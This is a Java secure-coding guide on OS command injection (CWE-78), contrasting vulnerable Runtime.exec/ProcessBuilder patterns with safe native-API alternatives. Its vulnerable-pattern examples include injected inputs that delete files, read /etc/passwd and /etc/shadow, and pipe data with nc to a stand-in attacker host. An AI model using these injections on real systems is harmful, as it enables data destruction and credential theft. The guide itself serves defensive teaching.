Skip to content

CWE-78: OS Command Injection - Java

Overview

OS Command Injection occurs when an application incorporates untrusted data into an operating system command without proper validation or sanitization. Attackers can execute arbitrary commands on the host operating system.

Primary Defence: Use Java native APIs (Files, HttpClient, etc.) instead of system commands, or if unavoidable, use ProcessBuilder with argument arrays and shell=false to prevent shell interpretation.

Remediation Strategy

PRIMARY FIX - Avoid System Calls

Use Java native APIs instead of executing commands

  • This eliminates the vulnerability entirely
  • Do NOT use Runtime.exec() or ProcessBuilder if a Java API exists

SECONDARY FIX - Use ProcessBuilder with Argument Arrays

Separate command from arguments, never invoke shell

  • WARNING: Only use if Priority 1 is not possible
  • Must use argument array, never string concatenation

Defense in Depth - Input Validation

Allowlist permitted characters

  • Required in addition to Priority 1 or 2
  • Never use validation alone

Additional Hardening - Least Privilege

Run with minimal OS permissions

  • Apply alongside other fixes

Decision Tree

Need to execute OS command?
├─ Is there a Java API alternative? (Files, HttpClient, etc.)
│  ├─ YES → Use Java API (Priority 1) - PREFERRED SOLUTION
│  └─ NO → Continue
│
├─ Can you use ProcessBuilder with argument array?
│  ├─ YES → Use ProcessBuilder(['cmd', 'arg1', 'arg2']) (Priority 2)
│  └─ NO → Use Runtime.exec() with String[] (Priority 2)
│
└─ For ALL solutions:
   ├─ Add input validation (Priority 3)
   └─ Apply least privilege (Priority 4)

Common Vulnerable Patterns

String Concatenation with Runtime.exec()

// VULNERABLE - Command injection via string concatenation
String filename = request.getParameter("file");
Runtime.getRuntime().exec("ls -la " + filename);

// Attack example:
// Input: "file.txt; rm -rf /tmp/*"
// Result: Deletes all files in /tmp

Why this is vulnerable: String concatenation in Runtime.exec() allows attackers to inject shell operators (;, |, &&, etc.) that execute arbitrary commands when processed by the shell.

Using Shell with User Input

// VULNERABLE - Shell command injection
String userInput = request.getParameter("path");
String[] cmd = {"/bin/sh", "-c", "cat " + userInput};
Runtime.getRuntime().exec(cmd);

// Attack example:
// Input: "file.txt; cat /etc/passwd > /tmp/pwned.txt"
// Result: Exports password file

Why this is vulnerable: Invoking /bin/sh with -c flag processes user input through the shell, enabling command injection via semicolons, pipes, and other shell metacharacters.

ProcessBuilder with Shell Invocation

// VULNERABLE - Invoking shell allows command injection
String ip = request.getParameter("ip");
ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", "ping -c 4 " + ip);
pb.start();

// Attack example:
// Input: "8.8.8.8 && cat /etc/shadow"
// Result: Executes additional commands

Why this is vulnerable: ProcessBuilder with shell commands (/bin/bash, -c) processes user input through the shell, enabling injection attacks via command chaining (&&, ||) and command substitution.

Unvalidated Input in Process Arguments

// VULNERABLE - No input validation
String userFile = request.getParameter("filepath");
Runtime.getRuntime().exec("cat " + userFile);

// Attack example:
// Input: "data.txt | nc attacker.com 1234"
// Result: Pipes file contents to attacker's server

Why this is vulnerable: Without validation or proper argument separation, user input can contain shell operators (|, <, >) that redirect or pipe data, leading to data exfiltration or command injection.

Secure Patterns

Use Java NIO File APIs (PREFERRED - Eliminates Command Injection)

// SECURE - Use Java NIO APIs instead of OS commands
import java.nio.file.*;
import java.io.IOException;
import java.util.stream.Stream;

// List files instead of "ls"
try (Stream<Path> files = Files.list(Paths.get(directory))) {
    files.forEach(file -> {
        try {
            BasicFileAttributes attrs = Files.readAttributes(file, BasicFileAttributes.class);
            System.out.printf("%s %d %s%n", 
                file.getFileName(), 
                attrs.size(), 
                attrs.lastModifiedTime());
        } catch (IOException e) {
            e.printStackTrace();
        }
    });
}

// Read file instead of "cat"
String content = Files.readString(Paths.get(filepath));

// Copy file instead of "cp"
Files.copy(Paths.get(source), Paths.get(dest), StandardCopyOption.REPLACE_EXISTING);

// Delete file instead of "rm"
Files.delete(Paths.get(filepath));

// Create directory instead of "mkdir"
Files.createDirectories(Paths.get(directory));

Why this works: Java NIO's Files API operates directly on the filesystem through the JVM without invoking shell commands. This completely eliminates command injection vulnerabilities - there's no OS process to execute, no shell to interpret metacharacters, and no possibility of command chaining through operators like ;, |, or &&.

Use HttpClient for Network Operations (Java 11+)

// SECURE - Use HttpClient instead of curl/wget
import java.net.http.*;
import java.net.URI;

HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
    .uri(URI.create(url))
    .build();

HttpResponse<String> response = client.send(request, 
    HttpResponse.BodyHandlers.ofString());
String content = response.body();

// For downloads
HttpResponse<Path> fileResponse = client.send(request,
    HttpResponse.BodyHandlers.ofFile(Paths.get(localPath)));

Why this works: HttpClient performs network operations through pure Java code without executing curl, wget, or similar command-line utilities. By eliminating process execution entirely, there's no attack surface for command injection - malicious URLs or parameters cannot escape into shell commands because no shell is ever invoked.

Use java.util.zip for Archives

// SECURE - Use built-in zip instead of unzip/tar commands
import java.util.zip.*;
import java.io.*;

// Extract zip file
try (ZipInputStream zis = new ZipInputStream(new FileInputStream(zipPath))) {
    ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        Path destPath = Paths.get(extractPath, entry.getName());

        // Prevent zip slip attack
        if (!destPath.normalize().startsWith(extractPath)) {
            throw new IOException("Invalid zip entry");
        }

        if (entry.isDirectory()) {
            Files.createDirectories(destPath);
        } else {
            Files.copy(zis, destPath, StandardCopyOption.REPLACE_EXISTING);
        }
    }
}

// Create zip file
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipPath))) {
    Files.walk(Paths.get(sourceDir))
        .filter(path -> !Files.isDirectory(path))
        .forEach(path -> {
            ZipEntry entry = new ZipEntry(sourceDir.relativize(path).toString());
            try {
                zos.putNextEntry(entry);
                Files.copy(path, zos);
                zos.closeEntry();
            } catch (IOException e) {
                e.printStackTrace();
            }
        });
}

Why this works: Java's built-in zip libraries handle archive operations in-memory without calling external tar, unzip, or 7z commands. Even if an attacker controls filenames within the archive, they cannot inject shell commands because no shell is invoked. The path normalization check also prevents zip slip attacks.

Use Pattern/Matcher for Text Processing

// SECURE - Use Java regex instead of grep/awk commands
import java.util.regex.*;
import java.nio.file.Files;
import java.util.stream.Stream;

String content = Files.readString(Paths.get(filepath));
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(content);

while (matcher.find()) {
    System.out.println(matcher.group());
}

// Line-by-line processing
try (Stream<String> lines = Files.lines(Paths.get(filepath))) {
    lines.filter(line -> line.contains(searchTerm))
         .forEach(System.out::println);
}

Why this works: Java's regex and stream APIs provide powerful text processing capabilities without executing grep, sed, awk, or other shell utilities. Processing text in-memory through the JVM prevents command injection while offering better performance, type safety, and cross-platform compatibility than shell-based text tools.

ProcessBuilder with Argument Array (If Process Execution Required)

WARNING: Avoid executing OS commands if at all possible. Java has extensive libraries for almost everything (HttpClient, java.nio, java.util.zip, etc.). This pattern is ONLY for cases where no Java library exists (e.g., calling a legacy third-party binary). Always exhaust all native alternatives first.

// USE WITH CAUTION - When process execution is unavoidable, use argument array
String ipAddress = request.getParameter("ip");

// Validate input first
if (!ipAddress.matches("^([0-9]{1,3}\\.){3}[0-9]{1,3}$")) {
    throw new IllegalArgumentException("Invalid IP address");
}

// Use ProcessBuilder with separate arguments - NO SHELL
ProcessBuilder pb = new ProcessBuilder(
    "ping",
    "-c",
    "4",
    ipAddress  // Arguments are NOT concatenated
);
pb.redirectErrorStream(true);

Process process = pb.start();

// Read output with timeout
process.waitFor(10, TimeUnit.SECONDS);
BufferedReader reader = new BufferedReader(
    new InputStreamReader(process.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}

Why this works: ProcessBuilder with separate arguments (not a single concatenated string) passes each argument directly to the executable without shell interpretation. Even if ipAddress contains shell metacharacters like ; or &&, they're treated as literal argument data rather than command separators. Input validation provides defense-in-depth by rejecting malformed inputs before they reach ProcessBuilder.

Runtime.exec() with String Array (Legacy Java)

WARNING: ProcessBuilder is preferred. Only use Runtime.exec() if you cannot update your codebase. Even then, avoid process execution entirely if possible.

For older Java versions when ProcessBuilder is not available.

// LEGACY PATTERN - Use String array with Runtime.exec
String filename = request.getParameter("file");

// Validate filename
if (!filename.matches("^[a-zA-Z0-9._-]+$")) {
    throw new IllegalArgumentException("Invalid filename");
}

// Use String array - no shell invocation
String[] command = {"cat", "/var/data/" + filename};
Process process = Runtime.getRuntime().exec(command);

BufferedReader reader = new BufferedReader(
    new InputStreamReader(process.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}

Why this works: Using a String array with Runtime.exec() bypasses shell invocation on most platforms - each array element becomes a separate process argument. Input validation with allowlisting (alphanumeric + safe characters only) blocks command injection attempts. However, ProcessBuilder is preferred for better control and clearer intent. Upgrade to Java 11+ when possible.

Input Validation (Defense in Depth)

Allowlist Characters

public boolean isValidFilename(String filename) {
    // Only allow alphanumeric, underscore, dash, dot
    return filename.matches("^[a-zA-Z0-9._-]+$");
}

public boolean isValidIP(String ip) {
    // Validate IPv4 format
    String ipPattern = "^([0-9]{1,3}\\.){3}[0-9]{1,3}$";
    if (!ip.matches(ipPattern)) return false;

    // Check each octet is 0-255
    String[] parts = ip.split("\\.");
    for (String part : parts) {
        int num = Integer.parseInt(part);
        if (num < 0 || num > 255) return false;
    }
    return true;
}

Spring Framework Integration

@RestController
public class SystemController {

    @PostMapping("/ping")
    public String ping(@Validated @RequestBody PingRequest request) {
        // Input validated by @Valid annotation
        ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", request.getIpAddress());
        // ... execute safely
    }
}

public class PingRequest {
    @Pattern(regexp = "^([0-9]{1,3}\\.){3}[0-9]{1,3}$", 
             message = "Invalid IP address")
    private String ipAddress;

    // getters/setters
}
// Instead of deprecated SecurityManager, use:
// - Docker containers with limited capabilities
// - Kubernetes security contexts
// - OS-level sandboxing (seccomp, AppArmor)

// Example: Run in restricted container
// docker run --rm --security-opt=no-new-privileges \
//   --cap-drop=ALL myapp

Dependencies and Installation

Java Version Requirements

Java 11 or Later (Recommended):

  • Full support for HttpClient API
  • Modern security features
  • Files.readString() and Files.writeString() methods
  • Best command injection protection

Java 8:

  • Use Files.readAllLines() instead of Files.readString()
  • Use Apache HttpComponents or OkHttp instead of java.net.http.HttpClient
  • Consider upgrading to Java 11+

Maven Dependencies

<!-- For Apache Commons Compress (zip/tar operations) -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-compress</artifactId>
</dependency>

<!-- For HTTP operations in Java 8 -->
<dependency>
    <groupId>org.apache.httpcomponents.client5</groupId>
    <artifactId>httpclient5</artifactId>
</dependency>

<!-- For testing -->
<dependency>
    <groupId>org.junit.jupiter</groupId>
    <artifactId>junit-jupiter</artifactId>
    <scope>test</scope>
</dependency>

Gradle Dependencies

// For Apache Commons Compress
implementation 'org.apache.commons:commons-compress'

// For HTTP operations in Java 8
implementation 'org.apache.httpcomponents.client5:httpclient5'

// For testing
testImplementation 'org.junit.jupiter:junit-jupiter'

Security Configuration (Optional)

# application.properties (Spring Boot)

# Restrict file access

app.upload.directory=/var/app/uploads
app.upload.max-size=10485760
app.allowed.file-extensions=.txt,.pdf,.jpg,.png

# Process execution settings

app.process.timeout-seconds=10
app.process.max-concurrent=5

Additional Resources